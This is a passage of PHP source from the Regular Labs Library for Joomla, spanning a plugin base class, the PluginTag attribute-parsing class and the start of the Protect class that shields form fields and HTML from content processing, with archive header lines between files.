$area = isset($article->created_by) ? 'article' :
'other';
$context = (($params instanceof \JRegistry) &&
$params->get('rl_search')) ? 'com_search.' .
$params->get('readmore_limit') : $context;
if ( ! $this->handleOnContentPrepare($area, $context, $article,
$params, $page))
{
return false;
}
Article::process($article, $context, $this, 'processArticle',
[$area, $context, $article, $page]);
return true;
}
/**
* @param JForm $form The form to be altered.
* @param mixed $data The associated data for the form.
*
* @return bool
*/
public function onContentPrepareForm(JForm $form, $data)
{
if ( ! $this->passChecks())
{
return true;
}
return $this->handleOnContentPrepareForm($form, $data);
}
/**
* @return void
*/
public function onAfterRender()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterRender();
$html = $this->app->getBody();
if ($html == '')
{
return;
}
if ( ! $this->changeFinalHtmlOutput($html))
{
return;
}
$this->cleanFinalHtmlOutput($html);
$this->app->setBody($html);
}
/**
* @return void
*/
protected function handleOnAfterRoute()
{
}
/**
* @return void
*/
protected function handleOnAfterDispatch()
{
}
/**
* @return void
*/
protected function handleOnAfterInitialise()
{
}
/**
* @param string $area
* @param string $context The context of the content being passed to
the plugin.
* @param mixed $article An object with a "text" property
* @param mixed &$params Additional parameters. See {@see
PlgContentContent()}.
* @param int $page Optional page number. Unused. Defaults to
zero.
*
* @return bool
*/
protected function handleOnContentPrepare($area, $context, &$article,
&$params, $page = 0)
{
return true;
}
/**
* @param JForm $form The form to be altered.
* @param mixed $data The associated data for the form.
*
* @return bool
*/
protected function handleOnContentPrepareForm(JForm $form, $data)
{
return true;
}
/**
* @param string $buffer
*
* @return void
*/
protected function loadStylesAndScripts(&$buffer)
{
}
/**
* @return void
*
* Consider using changeFinalHtmlOutput instead
*/
protected function handleOnAfterRender()
{
}
/**
* @param string &$string
* @param string $area
* @param string $context The context of the content being passed to the
plugin.
* @param mixed $article An object with a "text" property
* @param int $page Optional page number. Unused. Defaults to zero.
*
* @return void
*/
public function processArticle(&$string, $area = 'article',
$context = '', $article = null, $page = 0)
{
}
/**
* @param string $buffer
*
* @return bool
*/
protected function changeDocumentBuffer(&$buffer)
{
return false;
}
/**
* @param string $html
*
* @return bool
*/
protected function changeFinalHtmlOutput(&$html)
{
return false;
}
/**
* @param string $html
*
* @return void
*/
protected function cleanFinalHtmlOutput(&$html)
{
}
/**
* @return bool
*/
protected function passChecks()
{
if ( ! is_null($this->_pass))
{
return $this->_pass;
}
$this->_pass = false;
if ( ! $this->isFrameworkEnabled())
{
return false;
}
if ( ! $this->passPageTypes())
{
return false;
}
// allow in frontend?
if ( ! $this->_enable_in_frontend
&& ! $this->_is_admin)
{
return false;
}
$params = Parameters::getInstance()->getPluginParams($this->_name);
// allow in admin?
if ( ! $this->_enable_in_admin
&& $this->_is_admin
&& ( ! isset($params->enable_admin) || !
$params->enable_admin))
{
return false;
}
// disabled by url?
if ($this->_can_disable_by_url
&& Protect::isDisabledByUrl($this->_alias))
{
return false;
}
// disabled by component?
if ($this->_disable_on_components
&&
Protect::isRestrictedComponent(isset($params->disabled_components) ?
$params->disabled_components : [], 'component'))
{
return false;
}
// restricted page?
if (Protect::isRestrictedPage($this->_has_tags,
$this->_protected_formats))
{
return false;
}
if ( ! $this->extraChecks())
{
return false;
}
$this->_pass = true;
return true;
}
protected function passPageTypes()
{
if (empty($this->_page_types))
{
return true;
}
if (in_array('*', $this->_page_types))
{
return true;
}
if (empty(JFactory::$document))
{
return true;
}
if (Document::isFeed())
{
return in_array('feed', $this->_page_types);
}
if (Document::isPDF())
{
return in_array('pdf', $this->_page_types);
}
$page_type = JFactory::getDocument()->getType();
if (in_array($page_type, $this->_page_types))
{
return true;
}
return false;
}
protected function extraChecks()
{
$input = JFactory::getApplication()->input;
// Disable on Gridbox edit form: option=com_gridbox&view=gridbox
if ($input->get('option') == 'com_gridbox'
&& $input->get('view') == 'gridbox')
{
return false;
}
// Disable on SP PageBuilder edit form:
option=com_sppagebuilder&view=form
if ($input->get('option') == 'com_sppagebuilder'
&& $input->get('view') == 'form')
{
return false;
}
return true;
}
protected function init()
{
return;
}
/**
* Check if the Regular Labs Library is enabled
*
* @return bool
*/
private function isFrameworkEnabled()
{
if ( ! defined('REGULAR_LABS_LIBRARY_ENABLED'))
{
$this->setIsFrameworkEnabled();
}
if ( ! REGULAR_LABS_LIBRARY_ENABLED)
{
$this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');
}
return REGULAR_LABS_LIBRARY_ENABLED;
}
/**
* Set the define with whether the Regular Labs Library is enabled
*/
private function setIsFrameworkEnabled()
{
if ( ! JPluginHelper::isEnabled('system',
'regularlabs'))
{
$this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');
define('REGULAR_LABS_LIBRARY_ENABLED', false);
return;
}
define('REGULAR_LABS_LIBRARY_ENABLED', true);
}
/**
* Place an error in the message queue
*/
protected function throwError($error)
{
// Return if page is not an admin page or the admin login page
if (
! JFactory::getApplication()->isClient('administrator')
|| JFactory::getUser()->get('guest')
)
{
return;
}
// load the admin language file
JFactory::getLanguage()->load('plg_' . $this->_type .
'_' . $this->_name, JPATH_PLUGINS . '/' .
$this->_type . '/' . $this->_name);
$text = JText::sprintf($this->_lang_prefix . '_' . $error,
JText::_($this->_title));
$text = JText::_($text) . ' ' .
JText::sprintf($this->_lang_prefix .
'_EXTENSION_CAN_NOT_FUNCTION', JText::_($this->_title));
// Check if message is not already in queue
$messagequeue = JFactory::getApplication()->getMessageQueue();
foreach ($messagequeue as $message)
{
if ($message['message'] == $text)
{
return;
}
}
JFactory::getApplication()->enqueueMessage($text, 'error');
}
}
src/PluginTag.php000064400000043744151167425550007765 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class PluginTag
* @package RegularLabs\Library
*/
class PluginTag
{
/**
* @var array
*/
static $protected_characters = [
'=' => '[[:EQUAL:]]',
'"' => '[[:QUOTE:]]',
',' => '[[:COMMA:]]',
'|' => '[[:BAR:]]',
':' => '[[:COLON:]]',
];
/**
* Cleans the given tag word
*
* @param string $string
*
* @return string
*/
public static function clean($string = '')
{
return RegEx::replace('[^a-z0-9-_]', '', $string);
}
/**
* Get the attributes from plugin style string
*
* @param string $string
* @param string $main_key
* @param array $known_boolean_keys
* @param array $keep_escaped_chars
*
* @return object
*/
public static function getAttributesFromString($string = '',
$main_key = 'title', $known_boolean_keys = [],
$keep_escaped_chars = [','])
{
if (empty($string))
{
return (object) [];
}
// Replace html entity quotes to normal quotes
if (strpos($string, '"') === false)
{
$string = str_replace('"', '"',
$string);
}
self::protectSpecialChars($string);
// replace weird whitespace
$string = str_replace(chr(194) . chr(160), ' ', $string);
// Replace html entity spaces between attributes to normal spaces
$string =
RegEx::replace('((?:^|")\s*) (\s*(?:[a-z]|$))',
'\1 \2', $string);
// Only one value, so return simple key/value object
if (strpos($string, '|') == false && !
RegEx::match('=\s*["\']', $string))
{
self::unprotectSpecialChars($string, $keep_escaped_chars);
return (object) [$main_key => $string];
}
// No foo="bar" syntax found, so assume old syntax
if ( ! RegEx::match('=\s*["\']', $string))
{
self::unprotectSpecialChars($string, $keep_escaped_chars);
$attributes = self::getAttributesFromStringOld($string, [$main_key]);
self::convertOldSyntax($attributes, $known_boolean_keys);
return $attributes;
}
// Cannot find right syntax, so return simple key/value object
if ( !
RegEx::matchAll('(?:^|\s)(?<key>[a-z0-9-_\:]+)\s*(?<not>\!?)=\s*(["\'])(?<value>.*?)\3',
$string, $matches))
{
self::unprotectSpecialChars($string, $keep_escaped_chars);
return (object) [$main_key => $string];
}
$tag = (object) [];
foreach ($matches as $match)
{
$tag->{$match['key']} =
self::getAttributeValueFromMatch($match, $known_boolean_keys,
$keep_escaped_chars);
}
return $tag;
}
/**
* Get the value from a found attribute match
*
* @param array $match
* @param array $known_boolean_keys
* @param array $keep_escaped_chars
*
* @return bool|int|string
*/
private static function getAttributeValueFromMatch($match,
$known_boolean_keys = [], $keep_escaped_chars = [','])
{
$value = $match['value'];
self::unprotectSpecialChars($value, $keep_escaped_chars);
if (is_numeric($value)
&& (
in_array($match['key'], $known_boolean_keys)
|| in_array(strtolower($match['key']), $known_boolean_keys)
)
)
{
$value = $value ? 'true' : 'false';
}
// Convert numeric values to ints/floats
if (is_numeric($value))
{
$value = $value + 0;
}
// Convert boolean values to actual booleans
if ($value === 'true' || $value === true)
{
return $match['not'] ? false : true;
}
if ($value === 'false' || $value === false)
{
return $match['not'] ? true : false;
}
return $match['not'] ? '!NOT!' . $value : $value;
}
/**
* Replace special characters in the string with the protected versions
*
* @param string $string
*/
public static function protectSpecialChars(&$string)
{
$unescaped_chars = array_keys(self::$protected_characters);
array_walk($unescaped_chars, function (&$char) {
$char = '\\' . $char;
});
// replace escaped characters with special markup
$string = str_replace(
$unescaped_chars,
array_values(self::$protected_characters),
$string
);
if ( ! RegEx::matchAll(
'(<.*?>|{.*?}|\[.*?\])',
$string,
$tags,
null,
PREG_PATTERN_ORDER
)
)
{
return;
}
foreach ($tags[0] as $tag)
{
// replace unescaped characters with special markup
$protected = str_replace(
['=', '"'],
[self::$protected_characters['='],
self::$protected_characters['"']],
$tag
);
$string = str_replace($tag, $protected, $string);
}
}
/**
* Replace protected characters in the string with the original special
versions
*
* @param string $string
* @param array $keep_escaped_chars
*/
public static function unprotectSpecialChars(&$string,
$keep_escaped_chars = [])
{
$unescaped_chars = array_keys(self::$protected_characters);
if ( ! empty($keep_escaped_chars))
{
array_walk($unescaped_chars, function (&$char, $key,
$keep_escaped_chars) {
if (is_array($keep_escaped_chars) && ! in_array($char,
$keep_escaped_chars))
{
return;
}
$char = '\\' . $char;
}, $keep_escaped_chars);
}
// replace special markup with unescaped characters
$string = str_replace(
array_values(self::$protected_characters),
$unescaped_chars,
$string
);
}
/**
* Only used for old syntaxes
*
* @param string $string
* @param array $keys
* @param string $separator
* @param string $equal
* @param int $limit
*
* @return object
*/
public static function getAttributesFromStringOld($string = '',
$keys = ['title'], $separator = '|', $equal =
'=', $limit = 0)
{
$temp_separator = '[[SEPARATOR]]';
$temp_equal = '[[EQUAL]]';
$tag_start = '[[TAG]]';
$tag_end = '[[/TAG]]';
// replace separators and equal signs with special markup
$string = str_replace([$separator, $equal], [$temp_separator,
$temp_equal], $string);
// replace protected separators and equal signs back to original
$string = str_replace(['\\' . $temp_separator, '\\' .
$temp_equal], [$separator, $equal], $string);
// protect all html tags
RegEx::matchAll('</?[a-z][^>]*>', $string, $tags);
if ( ! empty($tags))
{
foreach ($tags as $tag)
{
$string = str_replace(
$tag[0],
$tag_start . base64_encode(str_replace([$temp_separator, $temp_equal],
[$separator, $equal], $tag[0])) . $tag_end,
$string
);
}
}
// split string into array
$attribs = $limit
? explode($temp_separator, $string, (int) $limit)
: explode($temp_separator, $string);
$attributes = (object) [
'params' => [],
];
// loop through splits
foreach ($attribs as $i => $keyval)
{
// spit part into key and val by equal sign
$keyval = explode($temp_equal, $keyval, 2);
if (isset($keyval[1]))
{
$keyval[1] = str_replace([$temp_separator, $temp_equal], [$separator,
$equal], $keyval[1]);
}
// unprotect tags in key and val
foreach ($keyval as $key => $value)
{
RegEx::matchAll(RegEx::quote($tag_start) . '(.*?)' .
RegEx::quote($tag_end), $value, $tags);
if (empty($tags))
{
continue;
}
foreach ($tags as $tag)
{
$value = str_replace($tag[0], base64_decode($tag[1]), $value);
}
$keyval[trim($key)] = $value;
}
if (isset($keys[$i]))
{
$key = trim($keys[$i]);
// if value is in the keys array add as defined in keys array
// ignore equal sign
$value = implode($equal, $keyval);
if (substr($value, 0, strlen($key) + 1) == $key . '=')
{
$value = substr($value, strlen($key) + 1);
}
$attributes->{$key} = $value;
unset($keys[$i]);
continue;
}
// else add as defined in the string
if (isset($keyval[1]))
{
$value = $keyval[1];
$value = trim($value, '"');
if ($value === 'true' || $value === true)
{
$value = true;
}
if ($value === 'false' || $value === false)
{
$value = false;
}
$attributes->{$keyval[0]} = $value;
continue;
}
$attributes->params[] = implode($equal, $keyval);
}
return $attributes;
}
/**
* Replace keys aliases with the main key names in an object
*
* @param object $attributes
* @param array $key_aliases
* @param bool $handle_plurals
*/
public static function replaceKeyAliases(&$attributes, $key_aliases =
[], $handle_plurals = false)
{
foreach ($key_aliases as $key => $aliases)
{
if (self::replaceKeyAlias($attributes, $key, $key, $handle_plurals))
{
continue;
}
foreach ($aliases as $alias)
{
if ( ! isset($attributes->{$alias}))
{
continue;
}
if (self::replaceKeyAlias($attributes, $key, $alias, $handle_plurals))
{
break;
}
}
}
}
/**
* Replace specific key alias with the main key name in an object
*
* @param object $attributes
* @param string $key
* @param string $alias
* @param bool $handle_plurals
*
* @return bool
*/
private static function replaceKeyAlias(&$attributes, $key, $alias,
$handle_plurals = false)
{
if ($handle_plurals)
{
if (self::replaceKeyAlias($attributes, $key, $alias . 's'))
{
return true;
}
if (substr($alias, -1) == 's' &&
self::replaceKeyAlias($attributes, $key, substr($alias, 0, -1)))
{
return true;
}
}
if (isset($attributes->{$key}))
{
return true;
}
if ( ! isset($attributes->{$alias}))
{
return false;
}
$attributes->{$key} = $attributes->{$alias};
unset($attributes->{$alias});
return true;
}
/**
* Convert an object using the old param style to the new syntax
*
* @param object $attributes
* @param array $known_boolean_keys
* @param string $extra_key
*/
public static function convertOldSyntax(&$attributes,
$known_boolean_keys = [], $extra_key = 'class')
{
$extra = isset($attributes->class) ? [$attributes->class] : [];
foreach ($attributes->params as $i => $param)
{
if ( ! $param)
{
continue;
}
if (in_array($param, $known_boolean_keys))
{
$attributes->{$param} = true;
continue;
}
if (strpos($param, '=') == false)
{
$extra[] = $param;
continue;
}
list($key, $val) = explode('=', $param, 2);
$attributes->{$key} = $val;
}
$attributes->{$extra_key} = trim(implode(' ', $extra));
unset($attributes->params);
}
/**
* Return the Regular Expressions string to match:
* Different types of spaces
*
* @param string $modifier
*
* @return string
*/
public static function getRegexSpaces($modifier = '+')
{
return '(?:\s| |&\#160;)' . $modifier;
}
/**
* Return the Regular Expressions string to match:
* Plugin type tags inside others
*
* @return string
*/
public static function getRegexInsideTag($start_character = '{',
$end_character = '}')
{
$s = RegEx::quote($start_character);
$e = RegEx::quote($end_character);
return '(?:[^' . $s . $e . ']*' . $s . '[^'
. $e . ']*' . $e . ')*.*?';
}
/**
* Return the Regular Expressions string to match:
* html before plugin tag
*
* @param string $group_id
*
* @return string
*/
public static function getRegexLeadingHtml($group_id = '')
{
$group = 'leading_block_element';
$html_tag_group = 'html_tag';
if ($group_id)
{
$group .= '_' . $group_id;
$html_tag_group .= '_' . $group_id;
}
$block_elements = Html::getBlockElements(['div']);
$block_element = '(?<' . $group . '>' .
implode('|', $block_elements) . ')';
$other_html = '[^<]*(<(?<' . $html_tag_group .
'>[a-z][a-z0-9_-]*)[\s>]([^<]*</(?P=' .
$html_tag_group . ')>)?[^<]*)*';
// Grab starting block element tag and any html after it (that is not the
same block element starting/ending tag).
return '(?:'
. '<' . $block_element . '(?: [^>]*)?>'
. $other_html
. ')?';
}
/**
* Return the Regular Expressions string to match:
* html after plugin tag
*
* @param string $group_id
*
* @return string
*/
public static function getRegexTrailingHtml($group_id = '')
{
$group = 'leading_block_element';
if ($group_id)
{
$group .= '_' . $group_id;
}
// If the grouped name is found, then grab all content till ending html
tag is found. Otherwise grab nothing.
return '(?(<' . $group . '>)'
. '(?:.*?</(?P=' . $group . ')>)?'
. ')';
}
/**
* Return the Regular Expressions string to match:
* Opening html tags
*
* @param array $block_elements
* @param array $inline_elements
* @param array $excluded_block_elements
*
* @return string
*/
public static function getRegexSurroundingTagsPre($block_elements = [],
$inline_elements = ['span'], $excluded_block_elements = [])
{
$block_elements = ! empty($block_elements) ? $block_elements :
Html::getBlockElements($excluded_block_elements);
$regex = '(?:<(?:' . implode('|', $block_elements)
. ')(?: [^>]*)?>\s*(?:<br ?/?>\s*)*)?';
if ( ! empty($inline_elements))
{
$regex .= '(?:<(?:' . implode('|',
$inline_elements) . ')(?: [^>]*)?>\s*(?:<br
?/?>\s*)*){0,3}';
}
return $regex;
}
/**
* Return the Regular Expressions string to match:
* Closing html tags
*
* @param array $block_elements
* @param array $inline_elements
* @param array $excluded_block_elements
*
* @return string
*/
public static function getRegexSurroundingTagsPost($block_elements = [],
$inline_elements = ['span'], $excluded_block_elements = [])
{
$block_elements = ! empty($block_elements) ? $block_elements :
Html::getBlockElements($excluded_block_elements);
$regex = '';
if ( ! empty($inline_elements))
{
$regex .= '(?:(?:\s*<br ?/?>)*\s*<\/(?:' .
implode('|', $inline_elements) . ')>){0,3}';
}
$regex .= '(?:(?:\s*<br ?/?>)*\s*<\/(?:' .
implode('|', $block_elements) . ')>)?';
return $regex;
}
/**
* Return the Regular Expressions string to match:
* Leading html tag
*
* @param array $elements
*
* @return string
*/
public static function getRegexSurroundingTagPre($elements = [])
{
$elements = ! empty($elements) ? $elements :
array_merge(Html::getBlockElements(), ['span']);
return '(?:<(?:' . implode('|', $elements) .
')(?: [^>]*)?>\s*(?:<br ?/?>\s*)*)?';
}
/**
* Return the Regular Expressions string to match:
* Trailing html tag
*
* @param array $elements
*
* @return string
*/
public static function getRegexSurroundingTagPost($elements = [])
{
$elements = ! empty($elements) ? $elements :
array_merge(Html::getBlockElements(), ['span']);
return '(?:(?:\s*<br ?/?>)*\s*<\/(?:' .
implode('|', $elements) . ')>)?';
}
/**
* Return the Regular Expressions string to match:
* Plugin style tags
*
* @param array $tags
* @param bool $include_no_attributes
* @param bool $include_ending
* @param array $required_attributes
*
* @return string
*/
public static function getRegexTags($tags, $include_no_attributes = true,
$include_ending = true, $required_attributes = [])
{
$tags = ArrayHelper::toArray($tags);
$tags = count($tags) > 1 ? '(?:' . implode('|',
$tags) . ')' : $tags[0];
$value =
'(?:\s*=\s*(?:"[^"]*"|\'[^\']*\'|[a-z0-9-_]+))?';
$attributes = '(?:\s+[a-z0-9-_]+' . $value . ')+';
$required_attributes = ArrayHelper::toArray($required_attributes);
if ( ! empty($required_attributes))
{
$attributes = '(?:' . $attributes . ')?' .
'(?:\s+' . implode('|', $required_attributes) .
')' . $value . '(?:' . $attributes . ')?';
}
if ($include_no_attributes)
{
$attributes = '\s*(?:' . $attributes . ')?';
}
if ( ! $include_ending)
{
return '<' . $tags . $attributes . '\s*/?>';
}
return '<(?:\/' . $tags . '|' . $tags .
$attributes . '\s*/?)\s*/?>';
}
/**
* Extract the plugin style div tags with the possible attributes. like:
* {div width:100|float:left}...{/div}
*
* @param string $start_tag
* @param string $end_tag
* @param string $tag_start
* @param string $tag_end
*
* @return array
*/
public static function getDivTags($start_tag = '', $end_tag =
'', $tag_start = '{', $tag_end = '}')
{
$tag_start = RegEx::quote($tag_start);
$tag_end = RegEx::quote($tag_end);
$start_div = ['pre' => '', 'tag' =>
'', 'post' => ''];
$end_div = ['pre' => '', 'tag' =>
'', 'post' => ''];
if ( ! empty($start_tag)
&& RegEx::match(
'^(?<pre>.*?)(?<tag>' . $tag_start . 'div(?:
.*?)?' . $tag_end . ')(?<post>.*)$',
$start_tag,
$match
)
)
{
$start_div = $match;
}
if ( ! empty($end_tag)
&& RegEx::match(
'^(?<pre>.*?)(?<tag>' . $tag_start .
'/div' . $tag_end . ')(?<post>.*)$',
$end_tag,
$match
)
)
{
$end_div = $match;
}
if (empty($start_div['tag']) ||
empty($end_div['tag']))
{
return [$start_div, $end_div];
}
$attribs = trim(RegEx::replace($tag_start . 'div(.*)' .
$tag_end, '\1', $start_div['tag']));
$start_div['tag'] = '<div>';
$end_div['tag'] = '</div>';
if (empty($attribs))
{
return [$start_div, $end_div];
}
$attribs = self::getDivAttributes($attribs);
$style = [];
if (isset($attribs->width))
{
if (is_numeric($attribs->width))
{
$attribs->width .= 'px';
}
$style[] = 'width:' . $attribs->width;
}
if (isset($attribs->height))
{
if (is_numeric($attribs->height))
{
$attribs->height .= 'px';
}
$style[] = 'height:' . $attribs->height;
}
if (isset($attribs->align))
{
$style[] = 'float:' . $attribs->align;
}
if ( ! isset($attribs->align) && isset($attribs->float))
{
$style[] = 'float:' . $attribs->float;
}
$attribs = isset($attribs->class) ? 'class="' .
$attribs->class . '"' : '';
if ( ! empty($style))
{
$attribs .= ' style="' . implode(';', $style) .
';"';
}
$start_div['tag'] = trim('<div ' . trim($attribs))
. '>';
return [$start_div, $end_div];
}
/**
* Get the attributes from a plugin style div tag
*
* @param string $string
*
* @return object
*/
private static function getDivAttributes($string)
{
if (strpos($string, '="') !== false)
{
return self::getAttributesFromString($string);
}
$parts = explode('|', $string);
$attributes = (object) [];
foreach ($parts as $e)
{
if (strpos($e, ':') === false)
{
continue;
}
list($key, $val) = explode(':', $e, 2);
$attributes->{$key} = $val;
}
return $attributes;
}
}
src/Protect.php000064400000066450151167425550007512 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Access\Access as JAccess;
use Joomla\CMS\Factory as JFactory;
jimport('joomla.filesystem.file');
/**
* Class Protect
* @package RegularLabs\Library
*/
class Protect
{
static $protect_start = '<!-- ___RL_PROTECTED___';
static $protect_end = '___RL_PROTECTED___ -->';
static $protect_tags_start = '<!--
___RL_PROTECTED_TAGS___';
static $protect_tags_end = '___RL_PROTECTED_TAGS___ -->';
static $html_safe_start = '___RL_PROTECTED___';
static $html_safe_end = '___/RL_PROTECTED___';
static $html_safe_tags_start = '___RL_PROTECTED_TAGS___';
static $html_safe_tags_end = '___/RL_PROTECTED_TAGS___';
static $sourcerer_tag = null;
static $sourcerer_characters = '{.}';
/**
* Check if page should be protected for given extension
*
* @param string $extension_alias
*
* @return bool
*/
public static function isDisabledByUrl($extension_alias = '')
{
// return if disabled via url
if (($extension_alias &&
JFactory::getApplication()->input->get('disable_' .
$extension_alias)))
{
return true;
}
}
/**
* Check if page should be protected for given extension
*
* @param bool $hastags
* @param array $restricted_formats
*
* @return bool
*/
public static function isRestrictedPage($hastags = false,
$restricted_formats = [])
{
$cache_id = 'isRestrictedPage_' . $hastags . '_' .
json_encode($restricted_formats);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
// return if current page is in protected formats
// return if current page is an image
// return if current page is an installation page
// return if current page is Regular Labs QuickPage
// return if current page is a JoomFish or Josetta page
$is_restricted = (
in_array($input->get('format'), $restricted_formats)
// || in_array($input->get('view'), ['image',
'img'])
|| in_array($input->get('type'), ['image',
'img'])
|| in_array($input->get('task'),
['install.install', 'install.ajax_upload'])
|| ($hastags && $input->getInt('rl_qp', 0))
|| ($hastags && in_array($input->get('option'),
['com_joomfishplus', 'com_josetta']))
|| (Document::isClient('administrator') &&
in_array($input->get('option'), ['com_jdownloads']))
);
return Cache::set(
$cache_id,
$is_restricted
);
}
/**
* @deprecated Use isDisabledByUrl() and isRestrictedPage()
*/
public static function isProtectedPage($extension_alias = '',
$hastags = false, $exclude_formats = [])
{
if (self::isDisabledByUrl($extension_alias))
{
return true;
}
return self::isRestrictedPage($hastags, $exclude_formats);
}
/**
* Check if the page is a restricted component
*
* @param array $restricted_components
* @param string $area
*
* @return bool
*/
public static function isRestrictedComponent($restricted_components, $area
= 'component')
{
if ($area != 'component' && ! ($area ==
'article' &&
JFactory::getApplication()->input->get('option') ==
'com_content'))
{
return false;
}
$restricted_components = ArrayHelper::toArray(str_replace('|',
',', $restricted_components));
$restricted_components = ArrayHelper::clean($restricted_components);
if ( ! empty($restricted_components) &&
in_array(JFactory::getApplication()->input->get('option'),
$restricted_components))
{
return true;
}
if (JFactory::getApplication()->input->get('option') ==
'com_acymailing'
&& !
in_array(JFactory::getApplication()->input->get('ctrl'),
['user', 'archive'])
&& !
in_array(JFactory::getApplication()->input->get('view'),
['user', 'archive'])
)
{
return true;
}
return false;
}
/**
* Check if the component is installed
*
* @param string $extension_alias
*
* @return bool
*/
public static function isComponentInstalled($extension_alias)
{
return file_exists(JPATH_ADMINISTRATOR . '/components/com_' .
$extension_alias . '/' . $extension_alias . '.php');
}
/**
* Check if the component is installed
*
* @param string $extension_alias
*
* @return bool
*/
public static function isSystemPluginInstalled($extension_alias)
{
return file_exists(JPATH_PLUGINS . '/system/' .
$extension_alias . '/' . $extension_alias . '.php');
}
/**
* Return the Regular Expressions string to match:
* The edit form
*
* @param array $form_classes
*
* @return string
*/
public static function getFormRegex($form_classes = [])
{
$form_classes = ArrayHelper::toArray($form_classes);
return '(<form\s[^>]*('
.
'(id|name)="(adminForm|postform|submissionForm|default_action_user|seblod_form|spEntryForm)"'
.
'|action="[^"]*option=com_myjspace&(amp;)?view=see"'
. (! empty($form_classes) ? '|class="([^"]* )?(' .
implode('|', $form_classes) . ')( [^"]*)?"' :
'')
. '))';
}
/**
* Protect all text based form fields
*
* @param string $string
* @param array $search_strings
*/
public static function protectFields(&$string, $search_strings = [])
{
// No specified strings tags found in the string
if ( ! self::containsStringsToProtect($string, $search_strings))
{
return;
}
$parts = StringHelper::split($string, ['</label>',
'</select>']);
foreach ($parts as &$part)
{
if ( ! self::containsStringsToProtect($part, $search_strings))
{
continue;
}
self::protectFieldsPart($part);
}
$string = implode('', $parts);
}
/**
* Check if the string contains certain substrings to protect
*
* @param string $string
* @param array $search_strings
*
* @return bool
*/
private static function containsStringsToProtect($string, $search_strings
= [])
{
if (
empty($string)
|| (
strpos($string, '<input') === false
&& strpos($string, '<textarea') === false
&& strpos($string, '<select') === false
)
)
{
return false;
}
// No specified strings tags found in the string
if ( ! empty($search_strings) && !
StringHelper::contains($string, $search_strings))
{
return false;
}
return true;
}
/**
* Protect the fields in the string
*
* @param string $string
*/
private static function protectFieldsPart(&$string)
{
self::protectFieldsTextAreas($string);
self::protectFieldsInputFields($string);
}
/**
* Protect the textarea fields in the string
*
* @param string $string
*/
private static function protectFieldsTextAreas(&$string)
{
if (strpos($string, '<textarea') === false)
{
return;
}
// Only replace non-empty textareas
// Todo: maybe also prevent empty textareas but with a non-empty
placeholder attribute
// Temporarily replace empty textareas
$temp_tag = '___TEMP_TEXTAREA___';
$string = RegEx::replace(
'<textarea((?:\s[^>]*)?)>(\s*)</textarea>',
'<' . $temp_tag . '\1>\2</' . $temp_tag .
'>',
$string
);
self::protectByRegex(
$string,
'(?:'
. '<textarea.*?</textarea>'
. '\s*)+'
);
// Replace back the temporarily replaced empty textareas
$string = str_replace($temp_tag, 'textarea', $string);
}
/**
* Protect the input fields in the string
*
* @param string $string
*/
private static function protectFieldsInputFields(&$string)
{
if (strpos($string, '<input') === false)
{
return;
}
$type_values = '(?:text|email|hidden)';
// must be of certain type
$param_type = '\s+type\s*=\s*(?:"' . $type_values .
'"|\'' . $type_values . '\'])';
// must have a non-empty value or placeholder attribute
$param_value =
'\s+(?:value|placeholder)\s*=\s*(?:"[^"]+"|\'[^\']+\'])';
// Regex to match any other parameter
$params =
'(?:\s+[a-z][a-z0-9-_]*(?:\s*=\s*(?:"[^"]*"|\'[^\']*\'|[0-9]+))?)*';
self::protectByRegex(
$string,
'(?:(?:'
. '<input' . $params . $param_type . $params . $param_value
. $params . '\s*/?>'
. '|<input' . $params . $param_value . $params .
$param_type . $params . '\s*/?>'
. ')\s*)+'
);
}
/**
* Protect the script tags
*
* @param string $string
*/
public static function protectScripts(&$string)
{
if (strpos($string, '</script>') === false)
{
return;
}
self::protectByRegex(
$string,
'<script[\s>].*?</script>'
);
}
/**
* Protect all html tags with some type of attributes/content
*
* @param string $string
*/
public static function protectHtmlTags(&$string)
{
// protect comment tags
self::protectHtmlCommentTags($string);
// protect html tags
self::protectByRegex($string,
'<[a-z][^>]*(?:="[^"]*"|=\'[^\']*\')+[^>]*>');
}
/**
* Protect all html comment tags
*
* @param string $string
*/
public static function protectHtmlCommentTags(&$string)
{
// protect comment tags
self::protectByRegex($string, '<\!--.*?-->');
}
/**
* Protect text by given regex
*
* @param string $string
* @param string $regex
*/
public static function protectByRegex(&$string, $regex)
{
RegEx::matchAll($regex, $string, $matches, null, PREG_PATTERN_ORDER);
if (empty($matches))
{
return;
}
$matches = array_unique($matches[0]);
$replacements = [];
foreach ($matches as $match)
{
$replacements[] = self::protectString($match);
}
$string = str_replace($matches, $replacements, $string);
}
/**
* Protect given plugin style tags
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
*/
public static function protectTags(&$string, $tags = [],
$include_closing_tags = true)
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
$string = str_replace($tags, $protected, $string);
}
/**
* Replace any protected tags to original
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
*/
public static function unprotectTags(&$string, $tags = [],
$include_closing_tags = true)
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
$string = str_replace($protected, $tags, $string);
}
/**
* Protect array of strings
*
* @param string $string
* @param array $unprotected
* @param array $protected
*/
public static function protectInString(&$string, $unprotected = [],
$protected = [])
{
$protected = empty($protected) ? self::protectArray($unprotected) :
$protected;
$string = str_replace($unprotected, $protected, $string);
}
/**
* Replace any protected tags to original
*
* @param string $string
* @param array $unprotected
* @param array $protected
*/
public static function unprotectInString(&$string, $unprotected = [],
$protected = [])
{
$protected = empty($protected) ? self::protectArray($unprotected) :
$protected;
$string = str_replace($protected, $unprotected, $string);
}
/**
* Return the sourcerer tag name and characters
*
* @return array
*/
public static function getSourcererTag()
{
if ( ! is_null(self::$sourcerer_tag))
{
